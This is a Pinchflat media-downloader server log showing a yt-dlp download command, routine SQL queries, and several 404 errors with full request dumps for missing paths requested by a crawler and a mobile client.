LIMIT 1 [] 22:48:56.839 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ENhfIeZF_AY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bd/0d/bd0d6a0240694fb346f83f0b1fbb0c5f5d96521bf82c8f05e627dc4e6320cea1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:48:58.704 [info] GET /sources/1/media/90/force_download 22:48:58.704 [debug] QUERY OK source="settings" db=0.1ms idle=640.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:58.704 [debug] QUERY OK source="settings" db=0.0ms idle=640.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:58.704 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:48:58.704 [error] #PID<0.5057.0> running PinchflatWeb.Endpoint (connection #PID<0.5056.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/90/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/90/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5056.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/90/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47630}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/90", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5057.0>, params: %{}, path_info: ["sources", "1", "media", "90", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/90"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/90/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhc1heS6RjcdoAAWaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5056.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/90/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47630}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/90", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/90/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5056.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/90/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47630}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/90", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5057.0>, params: %{}, path_info: ["sources", "1", "media", "90", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 22:48:58.960 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.252 [info] GET / 22:49:00.252 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:49:00.253 [debug] QUERY OK source="settings" db=0.1ms idle=595.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:00.253 [debug] QUERY OK source="media_profiles" db=0.0ms idle=189.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:49:00.253 [debug] QUERY OK source="sources" db=0.0ms idle=190.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:49:00.253 [debug] QUERY OK source="media_items" db=0.2ms idle=190.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:00.254 [debug] QUERY OK source="media_items" db=0.0ms idle=190.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:00.254 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:00.254 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:00.255 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:00.255 [debug] QUERY OK source="tasks" db=0.2ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:49:00.256 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [106, 107] 22:49:00.257 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:49:00.257 [debug] QUERY OK source="media_items" db=0.3ms idle=2.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:49:00.258 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:49:00.259 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:49:00.260 [debug] QUERY OK source="media_items" db=0.5ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:49:00.261 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:49:00.262 [info] Sent 200 in 10ms 22:49:00.688 [info] {"source":"oban","duration":118,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:03.637 [info] GET /assets/js/qr_modal.js 22:49:03.638 [debug] QUERY OK source="settings" db=0.2ms idle=1574.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:03.638 [debug] QUERY OK source="settings" db=0.1ms idle=1574.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:03.638 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:03.639 [error] #PID<0.5063.0> running PinchflatWeb.Endpoint (connection #PID<0.5062.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /assets/js/qr_modal.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/qr_modal (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5062.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5063.0>, params: %{}, path_info: ["assets", "js", "qr_modal"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/assets/js/qr_modal.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdH5pQAu6-lQAAdiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5062.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/qr_modal (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5062.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5063.0>, params: %{}, path_info: ["assets", "js", "qr_modal"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix (truncated) 22:49:03.797 [info] GET /assets/js/auth.js 22:49:03.798 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1734.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:03.799 [debug] QUERY OK source="settings" db=0.1ms idle=1137.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:03.799 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:03.800 [error] #PID<0.5065.0> running PinchflatWeb.Endpoint (connection #PID<0.5064.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /assets/js/auth.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5064.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47664}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5065.0>, params: %{}, path_info: ["assets", "js", "auth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/assets/js/auth.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdIf5KHMODIIAAWmC"} ], scheme: :http, script_name: [], 